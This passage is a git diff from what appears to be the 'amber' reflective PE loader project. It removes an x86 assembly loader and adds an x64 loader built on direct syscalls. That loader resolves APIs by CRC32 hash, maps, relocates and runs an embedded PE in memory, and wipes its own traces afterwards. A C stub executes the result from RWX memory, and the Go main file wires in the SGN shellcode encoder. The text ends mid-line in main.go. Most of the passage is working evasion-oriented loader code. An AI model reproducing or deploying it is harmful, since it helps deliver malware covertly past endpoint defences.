No newline at end of file diff --git a/loader/loader_x86.asm b/loader/loader_x86.asm deleted file mode 100644 index d061fb3..0000000 --- a/loader/loader_x86.asm +++ /dev/null @@ -1,164 +0,0 @@ -;#===========================================# -;# x86 Reflective Loader # -;# Author: Ege Balcı # -;# Version: 2.0 # -;#===========================================# - -[BITS 32] - - - call start ; Get the address of pre-mapped PE image to stack - incbin "pemap.bin" ; Pre-mapped PE image -start: - cld ; Clear direction flags - pop esi ; Get the address of image to esi - call $+5 ; Push the current EIP to stack - sub [esp],esi ; Subtract &PE from EIP and get image_size - mov eax,[esi+0x3C] ; Get the offset of "PE" to eax - mov ebx,[eax+esi+0x34] ; Get the image base address to ebx - mov eax,[eax+esi+0x28] ; Get the address of entry point to eax - push eax ; Save the address of entry to stack - push 0x40 ; PAGE_EXECUTE_READ_WRITE - push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE - push dword [esp+0xC] ; dwSize - push 0 ; lpAddress - push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc") - call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - push eax ; Save the new image base to stack - xor edx,edx ; Zero out the edx -relocate: - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov ecx,[eax+esi+0xA4] ; Base relocation table size - mov eax,[eax+esi+0xA0] ; Base relocation table RVA - add eax,esi ; Base relocation table memory address - add ecx,eax ; End of base relocation table -calc_delta: - mov edi,[esp] ; Move the new base address to EDI - sub edi,ebx ; Delta value - push dword [eax] ; Reloc RVA - push dword [eax+4] ; Reloc table size - add eax,8 ; Move to the reloc descriptor - jmp fix ; Start fixing -get_rva: - cmp ecx,eax ; Check if the end of the reloc section ? - jle reloc_fin ; If yes goto fin - add esp,8 ; Deallocate old reloc RVA and reloc table size variables - push dword [eax] ; Push new reloc RVA - push dword [eax+4] ; Push new reloc table size - add eax,8 ; Move 8 bytes -fix: - cmp word [esp],8 ; Check if the end of the reloc block - jz get_rva ; If yes set the next block RVA - mov dx,word [eax] ; Move the reloc desc to dx - cmp dx,0 ; Check if it is a padding word - je pass - and dx,0x0FFF ; Get the last 12 bits - add edx,[esp+4] ; Add block RVA to desc value - add edx,esi ; Add the start address of the image - add dword [edx],edi ; Add the delta value to calculated absolute address -pass: - sub dword [esp],2 ; Decrease the index - add eax,2 ; Move to the next reloc desc. - xor edx,edx ; Zero out edx - jmp fix ; Loop -reloc_fin: - pop eax ; Deallocate all vars - pop eax ; ... - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,[eax+esi+0x80] ; Import table RVA - add eax,esi ; Import table memory address (first image import descriptor) - push eax ; Save the address of import descriptor to stack -get_modules: - cmp dword [eax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov eax,[eax+0x0C] ; Get RVA of dll name to eax - add eax,esi ; Get the dll name address - call LoadLibraryA ; Load the library - mov ebx,eax ; Move the dll handle to ebx - mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [esp],0x14 ; Move to the next import descriptor - mov eax,[esp] ; Set the new import descriptor address to eax - jmp get_modules -get_procs: - push ecx ; Save ecx to stack - push dword [eax+0x10] ; Save the current import descriptor IAT RVA - add [esp],esi ; Get the IAT memory address - mov eax,[eax] ; Set the import names table RVA to eax - add eax,esi ; Get the current import descriptor's import names table address - push eax ; Save it to stack -resolve: - cmp dword [eax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov eax,[eax] ; Get the RVA of function hint to eax - cmp eax,0x80000000 ; Check if the high order bit is set - js name_resolve ; If high order bit is not set resolve with INT entry - sub eax,0x80000000 ; Zero out the high bit - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add eax,esi ; Set the address of function hint - add eax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov [ecx],eax ; Insert the function address to IAT - add dword [esp],4 ; Increase the import names table index - add dword [esp+4],4 ; Increase the IAT index - mov eax,[esp] ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov dword [ecx],0 ; Insert a NULL dword - pop ecx ; Deallocate index values - pop ecx ; ... - pop ecx ; Put back the ecx value - ret ; <- -LoadLibraryA: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of linrary name string - push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA([esp+4]) - pop edx ; Retreive edx - pop ecx ; Retreive ecx - ret ; <- -GetProcAddress: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of proc name string - push ebx ; Push the dll handle - push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(ebx,[esp+4]) - pop edx ; Retrieve edx - pop ecx ; Retrieve ecx - ret ; <- -complete: - pop eax ; Clean out the stack - pop edi ; .. - mov edx,edi ; Copy the address of new base to EDX - pop eax ; Pop the address_of_entry to EAX - add edi,eax ; Add the address of entry to new image base - pop ecx ; Pop the image_size to ECX -memcpy: - mov al,[esi] ; Move 1 byte of PE image to AL register - mov byte [edx],al ; Move 1 byte of PE image to image base - mov byte [esi],0 ; Overwrite copied byte (for less memory footprint) - inc esi ; Increase PE image index - inc edx ; Increase image base index - loop memcpy ; Loop until ECX = 0 - jmp PE_start - -; ========== API ========== -%include "CRC32_API/x86_crc32_api.asm" - -PE_start: - mov ecx,wipe ; Get the number of bytes until wipe label - call wipe_start ; Call wipe_start -wipe_start: - pop eax ; Get EIP to EAX -wipe: - mov byte [eax],0 ; Wipe 1 byte at a time - dec eax ; Decraise EAX - loop wipe ; Loop until ECX = 0 - jmp edi ; Call the AOE \ No newline at end of file diff --git a/loader/syscall-loader-x64/build.sh b/loader/syscall-loader-x64/build.sh new file mode 100755 index 0000000..c374d15 --- /dev/null +++ b/loader/syscall-loader-x64/build.sh @@ -0,0 +1,33 @@ +#!/bin/bash +## ANSI Colors (FG & BG) +RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" YELLOW="$(printf '\033[33m')" BLUE="$(printf '\033[34m')" +MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')" +REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" YELLOWBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')" +MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')" +RESET="$(printf '\e[0m')" + +print_warning() { + echo ${YELLOW}"[!] ${RESET}${1}" +} +print_error() { + echo "${RED}[-] ${RESET}${1}" +} +print_fatal() { + echo -e ${RED}"[!] $1\n${RESET}" + kill -10 $$ +} +print_good() { + echo "${GREEN}[+] ${RESET}${1}" +} +print_status() { + echo "${YELLOW}[*] ${RESET}${1}" +} + +nasm -f bin syscall-loader-x64.asm -o shellcode || print_fatal "nasm failed!" +print_status "Payload Size: `wc -c shellcode|cut -d' ' -f1`" +[[ -f shellcode ]] && xxd -i shellcode shellcode.h + +x86_64-w64-mingw32-gcc stub.c -o test.exe || print_fatal "Compilation failed!" +cp test.exe /tmp/ +rm shellcode shellcode.h +print_good "Build done!" diff --git a/loader/syscall-loader-x64/inc/calc_crc.asm b/loader/syscall-loader-x64/inc/calc_crc.asm new file mode 100644 index 0000000..3e1288f --- /dev/null +++ b/loader/syscall-loader-x64/inc/calc_crc.asm @@ -0,0 +1,34 @@ +[BITS 64] + + +calc_crc: + test dx,dx + je loc_1400039c9 + mov r8,rcx + movzx edx,dx + lea eax,[rdx-0x1] + lea rdx,[rcx+rax*1+0x1] + mov eax,0x0 +loc_1400039b8: + crc32 eax,BYTE [r8] + add r8,0x1 + cmp r8,rdx + jne loc_1400039b8 + jmp loc_1400039ea +loc_1400039c9: + movzx edx,BYTE [rcx] + test dl,dl + je loc_1400039eb + add rcx,0x1 + mov eax,0x0 +loc_1400039d9: + crc32 eax,dl + add rcx,0x1 + movzx edx,BYTE [rcx-0x1] + test dl,dl + jne loc_1400039d9 +loc_1400039ea: + ret +loc_1400039eb: + mov eax,0x0 + jmp loc_1400039ea \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/get_module_by_crc.asm b/loader/syscall-loader-x64/inc/get_module_by_crc.asm new file mode 100644 index 0000000..6909c4a --- /dev/null +++ b/loader/syscall-loader-x64/inc/get_module_by_crc.asm @@ -0,0 +1,37 @@ +[BITS 64] + + +get_module_by_crc: + push rdi + push rsi + push rbx + sub rsp,0x20 + mov esi,ecx + mov rax,QWORD gs:0x60 + mov rax,QWORD [rax+0x18] + lea rdi,[rax+0x20] + mov rbx,QWORD [rax+0x20] + cmp rdi,rbx + je loc_140102e89 +loc_140102e5d: + movzx edx,WORD [rbx+0x48] + mov rcx,QWORD [rbx+0x50] + call calc_crc + cmp eax,esi + je loc_140102e7d + mov rbx,QWORD [rbx] + cmp rdi,rbx + jne loc_140102e5d + mov eax,0x0 + jmp loc_140102e81 +loc_140102e7d: + mov rax,QWORD [rbx+0x20] +loc_140102e81: + add rsp,0x20 + pop rbx + pop rsi + pop rdi + ret +loc_140102e89: + mov eax,0x0 + jmp loc_140102e81 diff --git a/loader/syscall-loader-x64/inc/get_proc_by_crc.asm b/loader/syscall-loader-x64/inc/get_proc_by_crc.asm new file mode 100644 index 0000000..4e15834 --- /dev/null +++ b/loader/syscall-loader-x64/inc/get_proc_by_crc.asm @@ -0,0 +1,139 @@ +[BITS 64] + + +get_proc_by_crc: + push r15 + push r14 + push r13 + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x258 + mov rbx,rcx + mov r13d,edx + mov ebp,r8d + movsxd rax,DWORD [rcx+0x3c] + add rax,rcx + mov esi,DWORD [rax+0x88] + add rsi,rcx + mov eax,DWORD [rax+0x8c] + mov DWORD [rsp+0x2c],eax + mov r12d,DWORD [rsi+0x20] + mov r14d,DWORD [rsi+0x1c] + mov r15d,DWORD [rsi+0x24] + mov eax,DWORD [rsi+0x18] + test eax,eax + je loc_140003764 + mov eax,eax + mov QWORD [rsp+0x20],rax + mov edi,0x0 + add r12,rcx +loc_1400035dc: + mov ecx,DWORD [r12+rdi*4] + add rcx,rbx + mov edx,0x0 + call calc_crc + cmp ebp,edi + je loc_14000360b + cmp eax,r13d + je loc_14000360b + add rdi,0x1 + cmp QWORD [rsp+0x20],rdi + jne loc_1400035dc + mov eax,0x0 + jmp loc_140003738 +loc_14000360b: + lea rax,[rbx+rdi*2] + movzx eax,WORD [rax+r15*1] + lea rax,[rbx+rax*4] + mov eax,DWORD [rax+r14*1] + add rbx,rax + cmp rbx,rsi + jb loc_140003735 + mov eax,DWORD [rsp+0x2c] + add rsi,rax + cmp rbx,rsi + jae loc_140003735 + mov QWORD [rsp+0x30],0x0 + mov QWORD [rsp+0x38],0x0 + lea rdi,[rsp+0x40] + mov eax,0x0 + mov ecx,0x1e + rep stosq + mov DWORD [rdi],0x0 + mov QWORD [rsp+0x140],0x0 + mov QWORD [rsp+0x148],0x0 + lea rdi,[rsp+0x150] + mov ecx,0x1e + rep stosq + mov DWORD [rdi],0x0 + cmp BYTE [rbx],0x2e + je loc_14000374c + mov eax,0x1 +loc_14000369e: + mov r8,rax + add rax,0x1 + cmp BYTE [rbx+rax*1-0x1],0x2e + jne loc_14000369e + mov esi,r8d +loc_1400036af: + lea rcx,[rsp+0x30] + mov rdx,rbx + call memcpy + lea ecx,[rsi+0x1] + movsxd rcx,ecx + add rcx,rbx + cmp BYTE [rcx],0x0 + je loc_14000375c + mov eax,0x1 + movsxd rdx,esi + add rdx,rbx +loc_1400036d9: + mov r8,rax + add rax,0x1 + cmp BYTE [rdx+rax*1],0x0 + jne loc_1400036d9 +loc_1400036e6: + lea rax,[rsp+0x140] + mov rdx,rcx + mov rcx,rax + call memcpy + lea rcx,[rsp+0x30] + call load_module + mov rbx,rax + mov eax,0x0 + test rbx,rbx + je loc_140003738 + lea rcx,[rsp+0x140] + mov edx,0x0 + call calc_crc + mov edx,eax + mov r8d,0xffffffff + mov rcx,rbx + call get_proc_by_crc + mov rbx,rax +loc_140003735: + mov rax,rbx +loc_140003738: + add rsp,0x258 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + pop r13 + pop r14 + pop r15 + ret +loc_14000374c: + mov esi,0x0 + mov r8d,0x0 + jmp loc_1400036af +loc_14000375c: + mov r8d,0x0 + jmp loc_1400036e6 +loc_140003764: + mov eax,0x0 + jmp loc_140003738 \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/load_module.asm b/loader/syscall-loader-x64/inc/load_module.asm new file mode 100644 index 0000000..aabce1a --- /dev/null +++ b/loader/syscall-loader-x64/inc/load_module.asm @@ -0,0 +1,60 @@ +[BITS 64] + + +load_module: + push rdi + sub rsp,0x250 + mov r8,rcx + mov QWORD [rsp+0x248],0x0 + mov DWORD [rsp+0x234],0x0 + lea rdi,[rsp+0x20] + mov ecx,0x41 + mov eax,0x0 + rep stosq + cmp BYTE [r8],0x0 + je loc_140003873 + mov edx,0x1 +loc_1400037eb: + mov rax,rdx + add rdx,0x1 + cmp BYTE [r8+rdx*1-0x1],0x0 + jne loc_1400037eb + lea edx,[rax+rax*1] + mov WORD [rsp+0x230],dx + add edx,0x2 + mov WORD [rsp+0x232],dx + lea rdx,[rsp+0x20] + mov QWORD [rsp+0x238],rdx + sub eax,0x1 + js loc_140003837 + cdqe +loc_140003824: + movsx dx,BYTE [r8+rax*1] + mov WORD [rsp+rax*2+0x20],dx + sub rax,0x1 + test eax,eax + jns loc_140003824 +loc_140003837: + lea r9,[rsp+0x248] + lea r8,[rsp+0x230] + mov edx,0x0 + mov ecx,0x0 + mov r10, 0xB4EBB9A4 + call api_call + call rax ; + test eax,eax + js loc_14000386c + mov rax,QWORD [rsp+0x248] +loc_140003863: + add rsp,0x250 + pop rdi + ret +loc_14000386c: + mov eax,0x0 + jmp loc_140003863 +loc_140003873: + mov WORD [rsp+0x230],0x0 + mov WORD [rsp+0x232],0x2 + lea rax,[rsp+0x20] + mov QWORD [rsp+0x238],rax + jmp loc_140003837 \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/map_image.asm b/loader/syscall-loader-x64/inc/map_image.asm new file mode 100644 index 0000000..e3dd289 --- /dev/null +++ b/loader/syscall-loader-x64/inc/map_image.asm @@ -0,0 +1,63 @@ +[BITS 64] + + +map_image: + push rbp + push rdi + push rsi + push rbx + sub rsp,0x48 + mov rbp,rcx + movsxd rdi,DWORD [rcx+0x3c] + add rdi,rcx + mov eax,0x0 + cmp DWORD [rdi],0x4550 + jne loc_1400020b8 + mov QWORD [rsp+0x38],0x0 + mov eax,DWORD [rdi+0x50] + mov QWORD [rsp+0x30],rax + lea rdx,[rsp+0x38] + mov DWORD [rsp+0x28],0x4 + mov DWORD [rsp+0x20],0x103000 + lea r9,[rsp+0x30] + mov r8d,0x0 + mov rcx,0xffffffffffffffff + mov r10, 0x99CE7C55 + call api_call + mov r10,rax + call syscall_api + ;call rax ; + mov edx,eax + mov eax,0x0 + test edx,edx + js loc_1400020b8 + mov r8d,DWORD [rdi+0x54] + mov rdx,rbp + mov rcx,QWORD [rsp+0x38] + call memcpy + movzx eax,WORD [rdi+0x14] + lea rbx,[rdi+rax*1+0x18] + cmp WORD [rdi+0x6],0x0 + je loc_1400020b3 + mov esi,0x0 +loc_14000208d: + mov ecx,DWORD [rbx+0xc] + add rcx,QWORD [rsp+0x38] + mov edx,DWORD [rbx+0x14] + add rdx,rbp + mov r8d,DWORD [rbx+0x10] + call memcpy + add esi,0x1 + add rbx,0x28 + movzx eax,WORD [rdi+0x6] + cmp eax,esi + jg loc_14000208d +loc_1400020b3: + mov rax,QWORD [rsp+0x38] +loc_1400020b8: + add rsp,0x48 + pop rbx + pop rsi + pop rdi + pop rbp + ret \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/memcpy.asm b/loader/syscall-loader-x64/inc/memcpy.asm new file mode 100644 index 0000000..7148460 --- /dev/null +++ b/loader/syscall-loader-x64/inc/memcpy.asm @@ -0,0 +1,17 @@ +[BITS 64] + +; memcpy(&dst, &src, size) +; RCX = &dst +; RDX = &src +; R8 = size +memcpy: + push rsi + push rdi + mov rdi,rcx + mov rsi,rdx + mov rcx,r8 +copy_byte: + rep movsb ; Copy the CX number of bytes from RSI to RDI + pop rdi ; Restore RDI + pop rsi ; Restore RSI + ret ; Return \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/protect_sections.asm b/loader/syscall-loader-x64/inc/protect_sections.asm new file mode 100644 index 0000000..0221dc0 --- /dev/null +++ b/loader/syscall-loader-x64/inc/protect_sections.asm @@ -0,0 +1,133 @@ +[BITS 64] + + +protect_sections: + push r14 + push r13 + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x50 + mov rbp,rcx + movsxd rdi,DWORD [rcx+0x3c] + add rdi,rcx + movzx eax,WORD [rdi+0x14] + lea rbx,[rdi+rax*1+0x18] + mov QWORD [rsp+0x48],0x0 + cmp WORD [rdi+0x6],0x0 + je loc_140002e87 + mov esi,0x0 + mov r12d,0x0 + lea r14,[rsp+0x40] + lea r13,[rsp+0x48] + jmp loc_140002f50 +loc_140002e38: + mov ecx,0x1 +loc_140002e3d: + and eax,0x60000000 + mov r8d,0x1 + cmp eax,0x60000000 + mov r9d,0x20 + mov eax,0x80 + cmovne r9d,eax + jmp loc_140002eed +loc_140002e61: + mov r9d,0x20 + jmp loc_140002efd +loc_140002e6c: + mov eax,0x0 + jmp loc_140002e78 +loc_140002e73: + mov eax,0x1 +loc_140002e78: + add rsp,0x50 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + pop r13 + pop r14 + ret +loc_140002e87: + mov eax,0x1 + jmp loc_140002e78 +loc_140002e8e: + mov ecx,0x1 + mov r8d,r12d + mov r9d,0x10 + jmp loc_140002edd +loc_140002e9e: + mov ecx,r12d + test eax,0x20000000 + je loc_140002eda + mov ecx,0x0 + test eax,eax + js loc_140002e3d + mov ecx,eax + shr ecx,0x1f + mov r8d,ecx + mov ecx,r12d + mov r9d,0x10 + jmp loc_140002edd +loc_140002ec4: + test eax,0x20000000 + jne loc_140002e38 + mov ecx,0x1 + mov r9d,0x4 +loc_140002eda: + mov r8d,r12d +loc_140002edd: + and eax,0x60000000 + cmp eax,0x60000000 + je loc_140002e61 +loc_140002eed: + test cl,cl + je loc_140002efd + test r8b,r8b + mov eax,0x40 + cmovne r9d,eax +loc_140002efd: + mov eax,DWORD [rdx+0xc] + add rax,rbp + mov QWORD [rsp+0x48],rax + mov eax,DWORD [rdx+0x10] + mov QWORD [rsp+0x40],rax + mov DWORD [rsp+0x3c],0x0 + lea rax,[rsp+0x3c] + mov QWORD [rsp+0x20],rax + mov r8,r14 + mov rdx,r13 + mov rcx,0xffffffffffffffff + mov r10, 0x6EDE4D41 + call api_call + mov r10,rax ; + call syscall_api + test eax,eax + js loc_140002e6c +loc_140002f3d: + add esi,0x1 + add rbx,0x28 + movzx eax,WORD [rdi+0x6] + cmp eax,esi + jle loc_140002e73 +loc_140002f50: + mov rdx,rbx + mov eax,DWORD [rbx+0x24] + test eax,eax + je loc_140002f3d + mov r9d,eax + sar r9d,0x1f + and r9d,0xffffffc8 + add r9d,0x40 + test eax,0x40000000 + je loc_140002e9e + test eax,eax + js loc_140002ec4 + test eax,0x20000000 + jne loc_140002e8e + mov ecx,0x1 + mov r9d,0x2 + jmp loc_140002eda \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/relocate_image.asm b/loader/syscall-loader-x64/inc/relocate_image.asm new file mode 100644 index 0000000..ad8552a --- /dev/null +++ b/loader/syscall-loader-x64/inc/relocate_image.asm @@ -0,0 +1,58 @@ +[BITS 64] + + +relocate_image: + mov r9,rcx + movsxd rdx,DWORD [rcx+0x3c] + add rdx,rcx + mov eax,DWORD [rdx+0xb0] + mov ecx,0x0 + test eax,eax + je loc_14000261a + mov eax,eax + lea rcx,[r9+rax*1] + mov r10,r9 + sub r10,QWORD [rdx+0x30] + cmp DWORD [rcx],0x0 + jne loc_140002601 + mov ecx,0x1 + jmp loc_14000261a +loc_1400025bd: + mov edx,DWORD [rcx] + movzx r8d,WORD [rax] + and r8d,0xfff + add rdx,r8 + add QWORD [r9+rdx*1],r10 +loc_1400025d1: + add rax,0x2 + mov edx,DWORD [rcx+0x4] + add rdx,rcx + cmp rax,rdx + je loc_1400025f9 +loc_1400025e0: + movzx edx,BYTE [rax+0x1] + mov r8d,edx + and r8d,0xfffffff0 + cmp r8b,0xa0 + je loc_1400025bd + cmp dl,0xf + jbe loc_1400025d1 + jmp loc_1400025d1 +loc_1400025f9: + mov rcx,rax +loc_1400025fc: + cmp DWORD [rcx],0x0 + je loc_140002615 +loc_140002601: + lea rax,[rcx+0x8] + mov edx,DWORD [rcx+0x4] + add rdx,rcx + cmp rax,rdx + jne loc_1400025e0 + mov rcx,rdx + jmp loc_1400025fc +loc_140002615: + mov ecx,0x1 +loc_14000261a: + mov eax,ecx + ret \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/resolve_imports.asm b/loader/syscall-loader-x64/inc/resolve_imports.asm new file mode 100644 index 0000000..448373b --- /dev/null +++ b/loader/syscall-loader-x64/inc/resolve_imports.asm @@ -0,0 +1,85 @@ +[BITS 64] + + +resolve_imports: + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x20 + mov rbp,rcx + movsxd rax,DWORD [rcx+0x3c] + mov eax,DWORD [rcx+rax*1+0x90] + mov edx,0x0 + test eax,eax + je loc_140002966 + mov eax,eax + lea r12,[rcx+rax*1] + mov ecx,DWORD [r12+0xc] + test ecx,ecx + jne loc_14000292f + mov edx,0x1 + jmp loc_140002966 +loc_1400028cf: + mov edx,0x0 + mov rcx,rdi + call get_proc_by_crc + test rax,rax + je loc_1400028e4 + mov QWORD [rsi],rax +loc_1400028e4: + add rbx,0x8 + add rsi,0x8 + mov r8,QWORD [rbx] + test r8,r8 + je loc_140002922 +loc_1400028f4: + test r8,r8 + js loc_1400028cf + lea rcx,[rbp+r8*1+0x2] + mov edx,0x0 + call calc_crc + mov edx,eax + mov r8d,0xffffffff + mov rcx,rdi + call get_proc_by_crc + test rax,rax + je loc_1400028e4 + mov QWORD [rsi],rax +loc_140002920: + jmp loc_1400028e4 +loc_140002922: + add r12,0x14 + mov ecx,DWORD [r12+0xc] + test ecx,ecx + je loc_14000295a +loc_14000292f: + mov ecx,ecx + add rcx,rbp + call load_module + mov rdi,rax + test rax,rax + je loc_140002961 + mov ebx,DWORD [r12] + add rbx,rbp + mov esi,DWORD [r12+0x10] + add rsi,rbp + mov r8,QWORD [rbx] + test r8,r8 + jne loc_1400028f4 + jmp loc_140002922 +loc_14000295a: + mov edx,0x1 + jmp loc_140002966 +loc_140002961: + mov edx,0x0 +loc_140002966: + mov eax,edx + add rsp,0x20 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + ret \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/run_tls_callbacks.asm b/loader/syscall-loader-x64/inc/run_tls_callbacks.asm new file mode 100644 index 0000000..65ca260 --- /dev/null +++ b/loader/syscall-loader-x64/inc/run_tls_callbacks.asm @@ -0,0 +1,36 @@ +[BITS 64] + + +run_tls_callbacks: + push rsi + push rbx + sub rsp,0x28 + mov rsi,rcx + movsxd rax,DWORD [rcx+0x3c] + mov eax,DWORD [rcx+rax*1+0xd0] + mov edx,0x0 + test eax,eax + je loc_1400033ad + mov eax,eax + mov rbx,QWORD [rcx+rax*1+0x18] + mov edx,0x1 + test rbx,rbx + jne loc_1400033ca +loc_1400033ad: + mov eax,edx + add rsp,0x28 + pop rbx + pop rsi + ret +loc_1400033b6: + mov r8d,0x0 + mov edx,0x1 + mov rcx,rsi + call rax + add rbx,0x8 +loc_1400033ca: + mov rax,QWORD [rbx] + test rax,rax + jne loc_1400033b6 + mov edx,0x1 + jmp loc_1400033ad \ No newline at end of file diff --git a/loader/syscall-loader-x64/stub.c b/loader/syscall-loader-x64/stub.c new file mode 100755 index 0000000..151a4ad --- /dev/null +++ b/loader/syscall-loader-x64/stub.c @@ -0,0 +1,10 @@ +#include +#include "shellcode.h" + +int main(int argc, char const *argv[]) +{ + char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(BUFFER, shellcode, sizeof(shellcode)); + (*(void(*)())BUFFER)(); + return 0; +} diff --git a/loader/syscall-loader-x64/syscall-loader-x64.asm b/loader/syscall-loader-x64/syscall-loader-x64.asm new file mode 100644 index 0000000..6a6459e --- /dev/null +++ b/loader/syscall-loader-x64/syscall-loader-x64.asm @@ -0,0 +1,62 @@ +;#==============================================# +;# X64 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#==============================================# +; +[BITS 64] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 + + call start ; Get the address of PE image to stack + incbin "putty.exe" ; PE file. +start: + pop rsi ; Get the address of PE to RSI + push rbp ; Save RBP + mov rbp,rsp ; Create a stack frame + mov rcx,rsi ; Move the image address as first parameter + call map_image ; Perform PE image mapping + mov rdi, rax ; Get the address of mapped PE image into RDI + mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter + call resolve_imports ; Resolve image imports + mov rcx, rdi ; Set the mapped image address as first parameter + call relocate_image ; Perform image base relocation + mov rcx, rdi ; Set the mapped image address as first parameter + call protect_sections ; Apply proper section memory protections + mov rcx, rdi ; Set the mapped image address as first parameter + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + xor rax, rax ; Clear out RAX + mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset + mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX + add rax,rdi ; Add the AOE onto new image base + jmp wipe ; Start wiping memory artifacts... + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x64.asm" + %include "../syscall_api/syscall_api.asm" + ;------------------------ FUNCTIONS ------------------------------------- +wipe: + wipe_code_size equ wipe_end-(wipe) + call $+5 ; Get current EIP to stack + pop rcx ; Pop currect EIP to RCX + sub rcx,rsi ; Calculate the size of the PE file + add rcx,wipe_code_size ; Add the size of wipe code + mov rdi,rsi ; Move the PE address to RDI + sub rdi,0x5 ; Go back 5 bytes for wiping the initial call as well +wipe_end: + rep stosb ; Store AL into RDI and decrement RDI until RCX = 0 + ; -------------------- SWITCH TO PE ---------------------------- + cld ; Clear direction flags + mov rsp, rbp ; Restore stack frame + pop rbp ; Restore RBP + jmp rax ; Jmp to the PE->AOE \ No newline at end of file diff --git a/loader/syscall_api b/loader/syscall_api new file mode 160000 index 0000000..5bcbda0 --- /dev/null +++ b/loader/syscall_api @@ -0,0 +1 @@ +Subproject commit 5bcbda0dabe0c6f9386b285bdf0c6a99a4a7e0fd diff --git a/main.go b/main.go index 728c147..f779861 100644 --- a/main.go +++ b/main.go @@ -1,17 +1,13 @@ package main import ( - "flag" - "fmt" - "log" "os" - "path/filepath" - "runtime" - "strings" "time" "github.com/EgeBalci/amber/config" amber "github.com/EgeBalci/amber/pkg" + "github.com/EgeBalci/amber/utils" + sgn "github.com/EgeBalci/sgn/pkg" "github.com/briandowns/spinner" "github.com/fatih/color" ) @@ -20,68 +16,63 @@ import ( var spinr = spinner.New(spinner.CharSets[9], 30*time.Millisecond) func main() { - - banner() - // Create a FlagSet and sets the usage - fs := flag.NewFlagSet(filepath.Base(os.Args[0]), flag.ExitOnError) - // Configure the options from the flags/config file - bp, encoder, err := config.ConfigureOptions(fs, os.Args[1:]) + printBanner() + cfg, err := config.Parse() if err != nil { - config.PrintUsageErrorAndDie(err) + utils.PrintFatal(err) } - green := color.New(color.FgGreen).Add(color.Bold) - spinr.Start() - status("File: %s\n", bp.FileName) - status("Build Stub: %t\n", bp.BuildStub) - status("Encode Count: %d\n", encoder.EncodingCount) - if bp.IAT { - status("API: IAT\n") - } else { - status("API: CRC\n") + encoder := sgn.NewEncoder() + encoder.EncodingCount = cfg.EncodeCount + encoder.ObfuscationLimit = cfg.ObfuscationLimit + cfg.PrintSummary() + // ------------------------------ + pe, err := amber.Open(cfg.FileName) + if err != nil { + utils.PrintFatal(err) } - // First analyze PE and generate a blueprint - spinr.Suffix = " Analyzing PE file..." - eror(bp.Analyze()) - if !bp.HasRelocData { - statusBad("%s has no relocation data.\n", bp.FileName) - if bp.ImageBase != 0x400000 { - statusBad("Can't switch to fixed address loader because ImageBase mismatch!\n") - } - status("Switching to fixed address loader...\n") + pe.SyscallLoader = cfg.UseSyscalls + + if !pe.HasRelocData { + utils.PrintErr("%s has no relocation data. Exiting...\n", pe.Name) + return + // if pe.ImageBase != 0x400000 { + // utils.PrintErr("Can't switch to fixed address loader because ImageBase mismatch!\n") + // } + // utils.PrintStatus("Switching to fixed address loader...\n") + } + + payload, err := pe.AssembleLoader() + if err != nil { + utils.PrintFatal(err) } - spinr.Suffix = " Assembling reflective payload..." - payload, err 